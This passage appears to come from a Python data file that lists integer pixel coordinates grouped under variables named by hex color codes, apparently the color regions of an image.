76), (107, 77), (107, 78), (107, 79), (107, 80), (107, 81), (107, 82), (107, 83), (107, 84), (107, 85), (107, 86), (107, 87), (107, 88), (107, 89), (107, 90), (107, 91), (107, 92), (107, 97), (107, 98), (107, 99), (107, 100), (107, 102), (108, 67), (108, 69), (108, 70), (108, 71), (108, 72), (108, 73), (108, 74), (108, 75), (108, 76), (108, 77), (108, 78), (108, 79), (108, 80), (108, 81), (108, 82), (108, 83), (108, 84), (108, 85), (108, 86), (108, 87), (108, 88), (108, 89), (108, 90), (108, 93), (108, 94), (108, 95), (108, 96), (108, 97), (108, 98), (108, 99), (108, 100), (108, 101), (108, 103), (109, 68), (109, 70), (109, 71), (109, 72), (109, 73), (109, 74), (109, 75), (109, 76), (109, 77), (109, 79), (109, 80), (109, 81), (109, 82), (109, 83), (109, 84), (109, 85), (109, 86), (109, 87), (109, 88), (109, 89), (109, 97), (109, 99), (109, 100), (109, 101), (109, 103), (110, 69), (110, 71), (110, 72), (110, 73), (110, 74), (110, 75), (110, 76), (110, 78), (110, 81), (110, 82), (110, 83), (110, 84), (110, 85), (110, 86), (110, 87), (110, 88), (110, 90), (110, 97), (110, 99), (110, 100), (110, 101), (110, 102), (110, 104), (111, 70), (111, 72), (111, 73), (111, 74), (111, 75), (111, 77), (111, 82), (111, 83), (111, 84), (111, 85), (111, 86), (111, 87), (111, 89), (111, 98), (111, 100), (111, 101), (111, 102), (111, 103), (111, 105), (112, 71), (112, 73), (112, 74), (112, 76), (112, 81), (112, 83), (112, 84), (112, 85), (112, 86), (112, 87), (112, 89), (112, 98), (112, 100), (112, 101), (112, 102), (112, 103), (112, 106), (113, 71), (113, 73), (113, 75), (113, 82), (113, 84), (113, 85), (113, 86), (113, 88), (113, 98), (113, 100), (113, 101), (113, 102), (113, 104), (113, 105), (113, 107), (114, 71), (114, 74), (114, 82), (114, 84), (114, 85), (114, 86), (114, 88), (114, 97), (114, 99), (114, 100), (114, 101), (114, 103), (114, 107), (115, 70), (115, 72), (115, 74), (115, 83), (115, 85), (115, 86), (115, 88), (115, 97), (115, 99), (115, 100), (115, 102), (115, 107), (116, 70), (116, 73), (116, 83), (116, 85), (116, 87), (116, 96), (116, 102), (116, 108), (117, 70), (117, 73), (117, 84), (117, 87), (117, 96), (117, 97), (117, 100), (117, 108), (118, 69), (118, 72), (118, 85), (118, 86), (118, 108), (118, 109), (119, 109), (120, 109), (120, 114), (120, 115), ) coordinates_FEDAB9 = ((126, 65), (126, 66), (127, 65), (127, 67), (128, 65), (128, 67), (129, 68), ) coordinates_FFDAB9 = ((100, 66), (100, 67), (100, 68), (100, 69), (100, 71), (100, 78), (100, 80), (100, 81), (100, 83), (101, 64), (101, 65), (101, 72), (101, 77), (101, 82), (102, 63), (102, 70), (102, 71), (102, 74), (102, 75), (102, 78), (102, 79), (103, 62), (103, 64), (103, 67), (103, 68), (103, 69), (103, 73), (103, 74), (103, 75), (103, 77), (104, 61), (104, 63), (104, 64), (104, 65), (104, 66), (105, 62), (105, 64), (106, 63), (107, 61), (107, 63), (107, 64), (108, 62), (108, 64), (108, 65), (109, 62), (109, 66), (110, 63), (110, 67), (111, 64), (111, 68), (112, 65), (112, 69), (113, 66), (113, 69), (114, 66), (114, 68), (115, 66), (115, 68), (116, 66), (116, 68), (117, 66), (117, 67), (118, 65), (118, 67), (119, 65), (119, 67), (120, 66), ) coordinates_771286 = ((126, 111), (126, 112), (127, 111), (127, 112), (128, 110), (128, 112), (129, 110), (129, 111), (130, 109), (130, 111), (131, 108), (131, 110), (132, 108), (132, 110), (133, 107), (133, 109), (134, 106), (134, 109), (135, 105), (135, 107), (135, 109), (136, 105), (136, 108), (137, 104), (137, 108), (138, 104), (138, 106), ) coordinates_781286 = ((105, 104), (106, 104), (106, 106), (107, 104), (107, 108), (108, 105), (108, 109), (109, 106), (109, 108), (109, 110), (110, 106), (110, 110), (111, 107), (111, 110), (112, 108), (112, 111), (113, 109), (113, 111), (114, 109), (114, 111), (115, 110), (115, 112), (116, 110), (116, 112), (117, 110), (117, 112), (117, 113), (118, 111), (118, 113), (119, 112), ) coordinates_79BADC = ((138, 109), (139, 107), (139, 108), ) coordinates_CD3E4E = () coordinates_ED0000 = ((130, 63), (130, 65), (131, 62), (131, 66), (131, 68), (132, 62), (132, 65), (132, 66), (132, 68), (133, 62), (133, 64), (134, 61), (134, 63), (135, 61), (135, 63), (136, 62), (136, 64), (137, 63), (137, 66), (138, 63), (138, 67), (138, 69), (139, 63), (139, 64), (139, 65), (139, 66), (139, 70), (140, 63), (140, 65), (140, 68), (140, 69), (141, 63), (141, 66), (142, 63), (142, 65), (143, 63), (143, 64), (144, 63), (144, 64), (145, 63), (145, 76), (145, 77), (146, 63), (146, 65), (146, 66), (146, 71), (146, 72), (146, 73), (146, 74), (146, 75), (146, 78), (146, 80), (147, 64), (147, 67), (147, 68), (147, 69), (147, 70), (147, 76), (147, 78), (148, 65), (148, 71), (148, 72), (148, 73), (148, 74), (148, 75), (148, 77), (149, 66), (149, 68), (149, 69), (149, 70), (149, 71), (149, 76), (150, 66), (150, 68), (150, 69), (150, 72), (150, 73), (150, 75), (151, 66), (151, 68), (151, 71), (152, 66), (152, 69), (153, 66), (153, 68), (153, 86), (153, 88), (153, 90), (154, 66), (154, 68), (154, 85), (154, 89), (155, 67), (155, 69), (155, 84), (155, 86), (155, 88), (156, 67), (156, 71), (156, 82), (156, 85), (156, 88), (157, 69), (157, 71), (157, 78), (157, 80), (157, 87), (158, 68), (158, 71), (158, 77), (158, 81), (158, 85), (159, 69), (159, 72), (159, 76), (159, 78), (159, 79), (159, 83), (160, 70), (160, 74), (160, 81), (161, 71), (161, 73), (161, 74), (161, 75), (161, 76), (161, 77), (161, 78), ) coordinates_7ABADC = ((104, 107), (104, 109), (105, 107), (106, 109), (106, 110), ) coordinates_EC0DB0 = ((93, 128), (93, 130), (94, 122), (94, 124), (94, 125), (94, 127), ) coordinates_EB0DB0 = ((150, 120), (150, 122), (150, 123), (150, 124), (150, 125), (150, 127), (151, 121), (151, 122), (151, 123), (151, 124), (151, 125), ) coordinates_ED82EE = ((124, 67), (124, 69), (124, 73), (124, 79), (124, 81), (124, 82), (124, 84), (125, 70), (125, 71), (125, 75), (125, 78), (125, 79), (125, 85), (126, 73), (126, 74), (126, 75), (126, 76), (126, 77), (126, 81), (126, 82), (126, 83), (126, 85), (127, 81), (127, 83), (127, 85), (128, 82), (128, 85), (129, 82), (129, 84), (129, 85), (129, 86), (130, 82), (130, 84), (130, 86), (131, 82), (131, 84), (131, 85), (131, 86), (131, 88), (132, 83), (132, 86), (132, 89), (133, 84), (133, 90), (134, 86), (134, 88), (135, 89), (135, 91), ) coordinates_EE82EE = ((110, 93), (110, 94), (111, 92), (111, 94), (112, 91), (112, 93), (113, 77), (113, 79), (113, 91), (113, 93), (114, 77), (114, 80), (114, 90), (115, 76), (115, 78), (115, 80), (115, 90), (115, 92), (116, 76), (116, 78), (116, 79), (116, 81), (116, 90), (116, 91), (117, 75), (117, 77), (117, 78), (117, 79), (117, 81), (117, 89), (117, 91), (118, 76), (118, 77), (118, 80), (118, 82), (118, 88), (118, 90), (119, 74), (119, 75), (119, 78), (119, 79), (119, 81), (119, 83), (119, 87), (119, 90), (120, 68), (120, 70), (120, 71), (120, 72), (120, 74), (120, 76), (120, 80), (120, 82), (120, 85), (120, 86), (120, 88), (120, 90), (121, 68), (121, 75), (121, 81), (122, 68), (122, 74), (122, 81), (122, 83), (122, 84), (122, 85), (122, 86), (122, 87), (122, 89), (123, 71), ) coordinates_9832CC = ((123, 98), (123, 99), (123, 100), (123, 101), (123, 102), (123, 103), (123, 104), (123, 105), (123, 107), (124, 87), (124, 89), (124, 90), (124, 91), (124, 92), (124, 93), (124, 94), (124, 95), (124, 96), (124, 106), (125, 87), (125, 99), (125, 100), (125, 101), (125, 103), (125, 104), (125, 106), (126, 87), (126, 89), (126, 90), (126, 91), (126, 92), (126, 98), (126, 103), (126, 104), (126, 106), (127, 88), (127, 91), (127, 95), (127, 96), (127, 103), (127, 106), (128, 89), (128, 91), (128, 103), (128, 105), (129, 91), (129, 103), (129, 105), (130, 90), (130, 92), (131, 90), (131, 92), (132, 91), (132, 93), (133, 92), (133, 94), (134, 93), (134, 94), (135, 94), ) coordinates_9932CC = ((112, 96), (113, 95), (114, 95), (115, 94), (115, 105), (116, 94), (116, 104), (116, 106), (117, 93), (117, 94), (117, 104), (117, 106), (118, 93), (118, 95), (118, 102), (118, 104), (118, 106), (119, 92), (119, 94), (119, 96), (119, 97), (119, 98), (119, 99), (119, 100), (119, 106), (120, 92), (120, 100), (120, 101), (120, 102), (120, 103), (120, 104), (120, 107), (121, 92), (121, 94), (121, 96), (121, 100), (121, 104), (121, 108), ) coordinates_EE0000 = ((74, 88), (74, 90), (74, 92), (75, 87), (75, 94), (76, 86), (76, 88), (76, 89), (76, 90), (76, 91), (76, 92), (76, 95), (77, 85), (77, 87), (77, 88), (77, 89), (77, 90), (77, 91), (77, 92), (77, 93), (77, 94), (77, 96), (78, 84), (78, 86), (78, 87), (78, 88), (78, 89), (78, 90), (78, 91), (78, 92), (78, 93), (78, 94), (78, 95), (78, 97), (79, 85), (79, 86), (79, 87), (79, 88), (79, 89), (79, 90), (79, 91), (79, 92), (79, 93), (79, 94), (79, 95), (79, 97), (80, 73), (80, 76), (80, 81), (80, 84), (80, 85), (80, 86), (80, 87), (80, 88), (80, 89), (80, 90), (80, 91), (80, 92), (80, 93), (80, 94), (80, 95), (80, 97), (81, 72), (81, 77), (81, 78), (81, 82), (81, 83), (81, 84), (81, 85), (81, 86), (81, 87), (81, 88), (81, 89), (81, 90), (81, 91), (81, 92), (81, 93), (81, 94), (81, 95), (81, 96), (81, 98), (82, 71), (82, 73), (82, 75), (82, 76), (82, 79), (82, 81), (82, 82), (82, 83), (82, 84), (82, 85), (82, 86), (82, 87), (82, 88), (82, 89), (82, 90), (82, 91), (82, 92), (82, 93), (82, 94), (82, 95), (82, 96), (82, 98), (83, 70), (83, 72), (83, 74), (83, 77), (83, 80), (83, 81), (83, 82), (83, 83), (83, 84), (83, 85), (83, 86), (83, 87), (83, 88), (83, 89), (83, 90), (83, 91), (83, 92), (83, 93), (83, 94), (83, 95), (83, 96), (83, 98), (84, 70), (84, 73), (84, 78), (84, 81), (84, 82), (84, 83), (84, 84), (84, 85), (84, 86), (84, 87), (84, 88), (84, 89), (84, 90), (84, 91), (84, 92), (84, 93), (84, 94), (84, 95), (84, 96), (84, 98), (85, 69), (85, 72), (85, 80), (85, 82), (85, 83), (85, 84), (85, 85), (85, 86), (85, 87), (85, 88), (85, 89), (85, 90), (85, 91), (85, 92), (85, 93), (85, 94), (85, 95), (85, 96), (86, 68), (86, 71), (86, 81), (86, 84), (86, 85), (86, 86), (86, 87), (86, 88), (86, 89), (86, 90), (86, 91), (86, 92), (86, 93), (86, 94), (86, 98), (87, 68), (87, 70), (87, 82), (87, 86), (87, 87), (87, 88), (87, 89), (87, 90), (87, 91), (87, 92), (87, 96), (88, 68), (88, 70), (88, 84), (88, 94), (89, 68), (89, 70), (89, 86), (89, 88), (89, 89), (89, 90), (89, 92), (90, 68), (90, 71), (91, 68), (91, 70), (91, 72), (92, 69), (92, 71), (92, 73), (93, 70), (93, 75), (94, 71), (94, 77), (95, 72), (95, 79), (96, 74), (96, 77), (96, 81), (97, 76), (97, 82), (98, 77), (98, 79), (98, 80), (98, 81), (98, 83), ) coordinates_FE4500 = ((153, 113), (153, 115), (154, 114), (154, 116), (155, 115), (155, 118), (155, 119), (155, 120), (155, 121), (155, 122), (155, 123), (155, 124), (155, 125), (156, 116), (156, 120), (156, 126), (156, 128), (157, 117), (157, 129), (158, 122), (158, 124), (158, 125), (158, 126), (158, 127), ) coordinates_FED700 = ((160, 124), (160, 126), (160, 127), (160, 129), (161, 126), (161, 128), ) coordinates_CF2090 = ((164, 132), (164, 134), (165, 131), (165, 133), (166, 130), (166, 132), (167, 130), (167, 132), (168, 129), (168, 131), (169, 129), (169, 131), (170, 129), (170, 131), (171, 128), (171, 130), (172, 128), (172, 130), (173, 128), (173, 130), (174, 128), (174, 130), (175, 128), (175, 130), (176, 128), (176, 130), (177, 128), (177, 130), (178, 128), (178, 129), (179, 129), (180, 129), (181, 128), (181, 129), (182, 128), (183, 128), (184, 128), (185, 127), (185, 128), (186, 127), (186, 128), (187, 122), (187, 123), (187, 126), (187, 128), (188, 122), (188, 127), (188, 129), (189, 122), (189, 124), (189, 126), ) coordinates_EFE68C = ((165, 136), (165, 137), (166, 135), (166, 138), (167, 134), (167, 136), (167, 138), (168, 134), (168, 136), (168, 137), (168, 139), (169, 133), (169, 135), (169, 136), (169, 137), (169, 139), (170, 133), (170, 135), (170, 136), (170, 137), (170, 138), (170, 140), (171, 133), (171, 135), (171, 136), (171, 137), (171, 138), (171, 140), (172, 132), (172, 134), (172, 135), (172, 136), (172, 137), (172, 139), (173, 132), (173, 134), (173, 135), (173, 136), (173, 137), (173, 139), (174, 132), (174, 134), (174, 135), (174, 136), (174, 138), (175, 132), (175, 134), (175, 135), (175, 137), (176, 132), (176, 134), (176, 136), (177, 132), (177, 135), (178, 132), (178, 134), (179, 131), (179, 134), (180, 131), (180, 134), (180, 144), (181, 131), (181, 134), (181, 144), (182, 131), (182, 133), (182, 134), (182, 137), (182, 138), (182, 139), (182, 144), (182, 145), (183, 130), (183, 132), (183, 133), (183, 134), (183, 139), (183, 144), (184, 130), (184, 132), (184, 133), (184, 134), (184, 135), (184, 136), (184, 137), (184, 139), (184, 145), (185, 130), (185, 132), (185, 133), (185, 134), (185, 135), (185, 136), (185, 137), (185, 139), (185, 143), (185, 145), (186, 130), (186, 132), (186, 133), (186, 134), (186, 135), (186, 136), (186, 137), (186, 138), (186, 139), (186, 142), (186, 145), (187, 130), (187, 132), (187, 133), (187, 134), (187, 135), (187, 136), (187, 137), (187, 138), (187, 139), (187, 140), (187, 141), (187, 144), (187, 145), (188, 131), (188, 135), (188, 136), (189, 131), (189, 133), (189, 134), (189, 137), (189, 138), (189, 139), (189, 140), (189, 142), ) coordinates_31CD32 = ((162, 149), (162, 151), (163, 146), (163, 152), (164, 146), (164, 148), (164, 150), (164, 151), (164, 154), (165, 149), (165, 151), (165, 152), (165, 154), (166, 150), (166, 152), (166, 154), (167, 151), (167, 154), (168, 152), (168, 155), (169, 153), (169, 154), (169, 157), (170, 154), (170, 157), (171, 154), (171, 156), (172, 154), (172, 156), (173, 148), (173, 154), (173, 155), (174, 148), (174, 154), (174, 155), (175, 148), (175, 150), (175, 154), (175, 155), (176, 148), (176, 151), (176, 154), (176, 156), (177, 148), (177, 150), (177, 153), (177, 154), (177, 156), (178, 147), (178, 148), (178, 149), (178, 150), (178, 151), (178, 154), (178, 156), (179, 145), (179, 148), (179, 149), (179, 150), (179, 151), (179, 152), (179, 153), (179, 154), (179, 156), (180, 146), (180, 148), (180, 149), (180, 150), (180, 151), (180, 152), (180, 153), (180, 154), (180, 156), (181, 147), (181, 149), (181, 150), (181, 151), (181, 152), (181, 153), (181, 155), (182, 147), (182, 155), (183, 148), (183, 150), (183, 151), (183, 152), (183, 154), ) coordinates_FFD700 = ((83, 132), (84, 132), (85, 132), ) coordinates_D02090 = ((57, 130), (58, 127), (58, 129), (58, 130), (58, 132), (59, 125), (59, 132), (60, 126), (60, 127), (60, 130), (60, 132), (61, 131), (61, 132), (62, 132), (63, 132), (64, 132), (65, 132), (65, 133), (66, 132), (66, 133), (67, 132), (67, 133), (68, 132), (68, 133), (69, 132), (69, 133), (70, 132), (70, 133), (71, 132), (71, 133), (72, 132), (73, 132), (73, 134), (74, 132), (74, 134), (75, 132), (75, 134), (76, 132), (76, 135), (77, 133), (77, 135), (78, 134), (78, 136), (79, 136), ) coordinates_F0E68C = ((57, 134), (57, 136), (57, 137), (57, 138), (57, 139), (57, 141), (58, 134), (58, 136), (58, 142), (59, 134), (59, 136), (59, 137), (59, 138), (59, 140), (59, 142), (60, 134), (60, 136), (60, 140), (60, 142), (61, 134), (61, 136), (61, 140), (61, 143), (62, 135), (62, 136), (62, 141), (62, 143), (63, 135), (63, 136), (63, 141), (63, 144), (64, 135), (64, 136), (64, 141), (64, 144), (65, 135), (65, 136), (65, 142), (65, 144), (66, 135), (66, 136), (66, 142), (66, 144), (67, 135), (67, 137), (67, 143), (68, 135), (68, 137), (68, 144), (68, 145), (69, 135), (69, 137), (69, 144), (69, 145), (70, 135), (70, 137), (70, 144), (70, 145), (71, 136), (71, 137), (71, 144), (71, 145), (72, 136), (72, 137), (72, 145), (73, 136), (73, 138), (74, 136), (74, 138), (75, 137), (75, 138), (76, 137), ) coordinates_32CD32 = ((59, 148), (59, 150), (59, 151), (60, 146), (60, 152), (60, 154), (61, 146), (61, 148), (61, 149), (61, 155), (62, 146), (62, 148), (62, 149), (62, 151), (62, 153), (62, 154), (62, 157), (63, 146), (63, 149), (63, 152), (63, 154), (63, 155), (63, 157), (64, 147), (64, 149), (64, 153), (64, 155), (64, 157), (65, 148), (65, 154), (65, 157), (66, 148), (66, 153), (66, 156), (67, 148), (67, 153), (67, 155), (68, 148), (68, 152), (68, 155), (69, 147), (69, 152), (69, 155), (70, 147), (70, 152), (70, 153), (70, 154), (70, 156), (71, 147), (71, 152), (71, 154), (71, 155), (71, 157), (72, 152), (72, 154), (72, 155), (72, 156), (72, 158), (73, 153), (73, 155), (73, 158), (74, 153), (74, 156), (75, 154), (75, 155), (76, 154), (76, 155), (77, 154), (77, 156), (78, 155), (78, 156), (79, 154), (79, 157), (80, 147), (80, 149), (80, 150), (80, 151), (80, 152), (80, 153), (80, 154), (80, 155), (80, 156), (80, 158), (81, 152), (81, 155), (81, 156), (81, 158), (82, 154), (82, 158), (83, 155), (83, 158), ) coordinates_01FF7F = ((154, 92), (154, 94), (155, 91), (155, 95), (156, 90), (156, 92), (156, 93), (156, 95), (157, 89), (157, 91), (157, 92), (157, 93), (157, 94), (157, 96), (158, 88), (158, 92), (158, 93), (158, 94), (158, 96), (159, 87), (159, 93), (159, 94), (159, 96), (160, 85), (160, 89), (160, 92), (160, 94), (160, 96), (161, 83), (161, 88), (161, 93), (161, 96), (162, 80), (162, 81), (162, 82), (162, 85), (162, 87), (162, 94), (162, 96), (163, 75), (163, 77), (163, 78), (163, 79), (163, 83), (163, 84), (163, 86), (164, 75), (164, 79), (164, 80), (164, 85), (165, 75), (165, 77), (165, 81), (165, 82), (165, 84), (166, 75), (166, 77), (167, 75), (167, 77), (167, 89), (167, 90), (167, 91), (167, 92), (167, 94), (168, 76), (168, 78), (168, 86), (168, 87), (168, 93), (169, 77), (169, 79), (169, 84), (169, 85), (169, 88), (169, 89), (169, 90), (169, 92), (170, 78), (170, 80), (170, 83), (170, 86), (170, 87), (170, 88), (170, 89), (170, 91), (171, 79), (171, 84), (171, 85), (171, 86), (171, 87), (171, 88), (171, 89), (171, 91), (171, 98), (171, 101), (172, 80), (172, 83), (172, 84), (172, 85), (172, 86), (172, 87), (172, 88), (172, 89), (172, 90), (172, 91), (172, 97), (172, 100), (173, 82), (173, 87), (173, 88), (173, 89), (173, 91), (173, 96), (173, 99), (174, 83), (174, 85), (174, 88), (174, 89), (174, 91), (174, 95), (174, 98), (175, 87), (175, 89), (175, 90), (175, 91), (175, 93), (175, 94), (175, 98), (176, 88), (176, 90), (176, 91), (176, 97), (177, 89), (177, 91), (177, 92), (177, 95), (178, 90), (178, 94), (179, 91), ) coordinates_CCB68E = ((121, 128), (122, 126), (122, 129), ) coordinates_FF4500 = ((84, 117), (84, 119), (85, 115), (85, 120), (86, 114), (86, 117), (86, 118), (86, 119), (86, 121), (87, 113), (87, 119), (87, 120), (87, 122), (87, 129), (87, 131), (88, 113), (88, 115), (88, 116), (88, 117), (88, 118), (88, 123), (88, 127), (88, 129), (89, 119), (89, 121), (89, 122), (89, 123), (89, 124), (89, 125), (89, 126), ) coordinates_A42A2A = ((98, 134), (99, 134), (99, 136), (100, 134), (100, 136), (101, 133), (101, 135), (101, 137), (102, 133), (102, 135), (102, 137), (103, 133), (103, 135), (103, 137), (104, 133), (104, 135), (104, 137), (105, 133), (105, 135), (105, 136), (105, 138), (106, 133), (106, 135), (106, 136), (106, 138), (107, 133), (107, 135), (107, 136), (107, 137), (107, 139), (108, 133), (108, 135), (108, 136), (108, 137), (108, 138), (108, 140), (109, 133), (109, 135), (109, 136), (109, 137), (109, 138), (109, 139), (109, 142), (110, 132), (110, 134), (110, 135), (110, 136), (110, 137), (110, 138), (110, 139), (110, 140), (110, 143), (110, 144), (110, 145), (111, 131), (111, 133), (111, 134), (111, 135), (111, 136), (111, 137), (111, 138), (111, 139), (111, 140), (111, 141), (111, 142), (111, 144), (112, 131), (112, 133), (112, 134), (112, 135), (112, 136), (112, 137), (112, 138), (112, 139), (112, 140), (112, 141), (112, 142), (112, 144), (113, 130), (113, 132), (113, 133), (113, 134), (113, 135), (113, 136), (113, 137), (113, 138), (113, 139), (113, 140), (113, 141), (113, 142), (113, 144), (114, 130), (114, 132), (114, 133), (114, 134), (114, 135), (114, 136), (114, 137), (114, 138), (114, 139), (114, 140), (114, 141), (114, 143), (115, 130), (115, 132), (115, 133), (115, 134), (115, 135), (115, 136), (115, 137), (115, 138), (115, 139), (115, 140), (115, 141), (115, 143), (116, 129), (116, 131), (116, 132), (116, 133), (116, 134), (116, 135), (116, 136), (116, 137), (116, 138), (116, 139), (116, 140), (116, 141), (116, 143), (117, 129), (117, 131), (117, 132), (117, 133), (117, 134), (117, 135), (117, 136), (117, 137), (117, 138), (117, 139), (117, 140), (117, 142), (118, 130), (118, 132), (118, 133), (118, 134), (118, 135), (118, 136), (118, 137), (118, 138), (118, 139), (118, 140), (118, 142), (119, 130), (119, 133), (119, 134), (119, 135), (119, 136), (119, 137), (119, 138), (119, 139), (119, 140), (119, 142), (120, 131), (120, 142), (121, 131), (121, 133), (121, 134), (121, 135), (121, 136), (121, 137), (121, 138), (121, 139), (121, 140), (121, 142), ) coordinates_A42A29 = ((123, 131), (123, 133), (123, 134), (123, 135), (123, 136), (123, 137), (123, 138), (123, 140), (124, 130), (124, 139), (124, 140), (124, 142), (125, 130), (125, 132), (125, 133), (125, 134), (125, 135), (125, 136), (125, 137), (125, 138), (125, 142), (126, 131), (126, 133), (126, 134), (126, 135), (126, 136), (126, 137), (126, 138), (126, 139), (126, 140), (126, 142), (127, 131), (127, 133), (127, 134), (127, 135), (127, 136), (127, 137), (127, 138), (127, 139), (127, 140), (127, 142), (128, 131), (128, 133), (128, 134), (128, 135), (128, 136), (128, 137), (128, 138), (128, 139), (128, 140), (128, 142), (129, 131), (129, 133), (129, 134), (129, 135), (129, 136), (129, 137), (129, 138), (129, 139), (129, 140), (129, 142), (130, 132), (130, 134), (130, 135), (130, 136), (130, 137), (130, 138), (130, 139), (130, 140), (130, 141), (130, 143), (131, 132), (131, 134), (131, 135), (131, 136), (131, 137), (131, 138), (131, 139), (131, 140), (131, 141), (131, 143), (132, 133), (132, 135), (132, 136), (132, 137), (132, 138), (132, 139), (132, 140), (132, 141), (132, 143), (133, 133), (133, 135), (133, 136), (133, 137), (133, 138), (133, 139), (133, 140), (133, 141), (133, 143), (134, 134), (134, 136), (134, 137), (134, 138), (134, 139), (134, 140), (134, 141), (134, 143), (135, 134), (135, 136), (135, 137), (135, 138), (135, 139), (135, 140), (135, 141), (135, 144), (136, 134), (136, 135), (136, 136), (136, 137), (136, 138), (136, 139), (136, 140), (136, 142), (137, 134), (137, 136), (137, 137), (137, 138), (137, 139), (137, 141), (138, 134), (138, 136), (138, 137), (138, 138), (138, 140), (139, 134), (139, 136), (139, 137), (139, 139), (140, 133), (140, 135), (140, 136), (140, 138), (141, 134), (141, 136), (141, 138), (142, 134), (142, 137), (143, 134), (143, 137), (144, 134), (144, 137), (145, 135), (145, 136), ) coordinates_00FF7F = ((61, 97), (61, 99), (62, 94), (62, 95), (62, 96), (62, 100), (62, 102), (63, 90), (63, 92), (63, 93), (63, 103), (64, 88), (64, 89), (64, 93), (64, 94), (64, 95), (64, 96), (64, 97), (64, 100), (65, 87), (65, 89), (65, 90), (65, 91), (65, 94), (65, 95), (65, 97), (65, 101), (65, 104), (66, 85), (66, 96), (67, 84), (67, 87), (67, 94), (67, 97), (68, 83), (68, 86), (68, 87), (68, 95), (69, 82), (69, 84), (69, 85), (69, 87), (69, 96), (69, 98), (70, 84), (70, 85), (70, 86), (70, 87), (70, 89), (71, 81), (71, 83), (71, 84), (71, 85), (71, 86), (71, 87), (71, 90), (71, 91), (71, 92), (72, 80), (72, 82), (72, 83), (72, 84), (72, 85), (72, 88), (72, 92), (72, 93), (72, 95), (73, 80), (73, 82), (73, 83), (73, 84), (73, 87), (73, 94), (73, 96), (74, 79), (74, 81), (74, 82), (74, 83), (74, 97), (75, 79), (75, 81), (75, 82), (75, 84), (75, 97), (75, 98), (76, 79), (76, 81), (76, 83), (76, 98), (77, 80), (77, 82), (77, 99), (78, 81), (78, 99), (79, 100), (80, 100), (81, 100), (82, 100), (83, 100), (84, 100), ) coordinates_01760E = ((123, 121), (123, 124), (124, 119), (124, 125), (125, 116), (125, 118), (125, 121), (125, 122), (125, 123), (125, 124), (125, 128), (126, 115), (126, 119), (126, 120), (126, 121), (126, 122), (126, 123), (126, 124), (126, 125), (126, 126), (126, 128), (127, 115), (127, 117), (127, 118), (127, 119), (127, 120), (127, 121), (127, 122), (127, 123), (127, 124), (127, 125), (127, 126), (127, 127), (127, 128), (127, 129), (128, 114), (128, 116), (128, 117), (128, 118), (128, 119), (128, 120), (128, 121), (128, 122), (128, 123), (128, 124), (128, 125), (128, 126), (128, 127), (128, 129), (129, 114), (129, 116), (129, 117), (129, 118), (129, 119), (129, 120), (129, 121), (129, 122), (129, 123), (129, 124), (129, 125), (129, 126), (129, 127), (129, 129), (130, 113), (130, 115), (130, 116), (130, 117), (130, 118), (130, 119), (130, 120), (130, 121), (130, 122), (130, 123), (130, 124), (130, 125), (130, 126), (130, 127), (130, 128), (130, 130), (131, 113), (131, 115), (131, 116), (131, 117), (131, 118), (131, 119), (131, 120), (131, 121), (131, 122), (131, 123), (131, 124), (131, 125), (131, 126), (131, 127), (131, 128), (131, 130), (132, 112), (132, 114), (132, 115), (132, 116), (132, 117), (132, 118), (132, 119), (132, 120), (132, 121), (132, 122), (132, 123), (132, 124), (132, 125), (132, 126), (132, 127), (132, 128), (132, 129), (132, 131), (133, 112), (133, 114), (133, 115), (133, 116), (133, 117), (133, 118), (133, 119), (133, 120), (133, 121), (133, 122), (133, 123), (133, 124), (133, 125), (133, 126), (133, 127), (133, 128), (133, 129), (133, 131), (134, 111), (134, 113), (134, 114), (134, 115), (134, 116), (134, 117), (134, 118), (134, 119), (134, 120), (134, 121), (134, 122), (134, 123), (134, 124), (134, 125), (134, 126), (134, 127), (134, 128), (134, 129), (134, 130), (134, 132), (135, 111), (135, 113), (135, 114), (135, 115), (135, 116), (135, 117), (135, 118), (135, 119), (135, 120), (135, 121), (135, 122), (135, 123), (135, 124), (135, 125), (135, 126), (135, 127), (135, 128), (135, 129), (135, 130), (135, 132), (136, 112), (136, 114), (136, 115), (136, 116), (136, 117), (136, 118), (136, 119), (136, 120), (136, 121), (136, 122), (136, 123), (136, 124), (136, 125), (136, 126), (136, 127), (136, 128), (136, 129), (136, 130), (136, 132), (137, 113), (137, 115), (137, 116), (137, 117), (137, 118), (137, 119), (137, 120), (137, 121), (137, 122), (137, 123), (137, 124), (137, 125), (137, 126), (137, 127), (137, 128), (137, 129), (137, 130), (137, 132), (138, 116), (138, 117), (138, 118), (138, 119), (138, 120), (138, 121), (138, 122), (138, 123), (138, 124), (138, 125), (138, 126), (138, 127), (138, 128), (138, 129), (138, 130), (138, 132), (139, 115), (139, 117), (139, 118), (139, 119), (139, 120), (139, 121), (139, 122), (139, 123), (139, 124), (139, 125), (139, 126), (139, 127), (139, 128), (139, 129), (139, 131), (140, 116), (140, 119), (140, 120), (140, 121), (140, 122), (140, 123), (140, 124), (140, 125), (140, 126), (140, 127), (140, 128), (140, 129), (140, 131), (141, 117), (141, 124), (141, 125), (141, 126), (141, 127), (141, 128), (142, 119), (142, 121), (142, 122), (142, 123), (142, 129), (142, 130), (142, 132), (143, 124), (143, 126), (143, 127), (143, 128), ) coordinates_FF6347 = ((91, 147), (91, 148), (92, 147), (92, 149), (92, 150), (92, 151), (92, 153), (93, 148), (93, 153), (94, 149), (94, 151), (94, 153), (95, 149), (95, 151), (95, 153), (96, 150), (96, 153), (97, 151), (97, 153), (98, 151), (99, 152), (100, 150), (100, 152), (101, 149), (101, 151), (102, 148), (102, 151), (103, 148), (103, 150), (104, 142), (104, 149), (105, 142), (105, 145), (105, 148), (106, 143), (106, 145), ) coordinates_DBD814 = ((143, 141), (144, 140), (144, 142), (145, 138), (145, 142), (146, 137), (146, 140), (146, 141), (146, 143), (147, 138), (147, 140), (147, 141), (147, 143), (148, 138), (148, 140), (148, 141), (148, 142), (148, 144), (149, 138), (149, 140), (149, 141), (149, 142), (149, 144), (150, 138), (150, 140), (150, 141), (150, 142), (150, 144), (151, 138), (151, 140), (151, 141), (151, 142), (151, 144), (152, 138), (152, 140), (152, 141), (152, 143), (153, 138), (153, 140), (153, 142), (154, 141), (155, 139), (155, 141), ) coordinates_DCD814 = ((90, 142), (91, 139), (91, 142), (92, 139), (92, 143), (93, 138), (93, 140), (93, 141), (93, 142), (93, 144), (94, 138), (94, 140), (94, 141), (94, 142), (94, 143), (94, 145), (95, 138), (95, 140), (95, 141), (95, 142), (95, 143), (95, 144), (95, 146), (96, 138), (96, 140), (96, 141), (96, 142), (96, 143), (96, 144), (96, 146), (97, 138), (97, 140), (97, 141), (97, 142), (97, 143), (98, 138), (98, 140), (98, 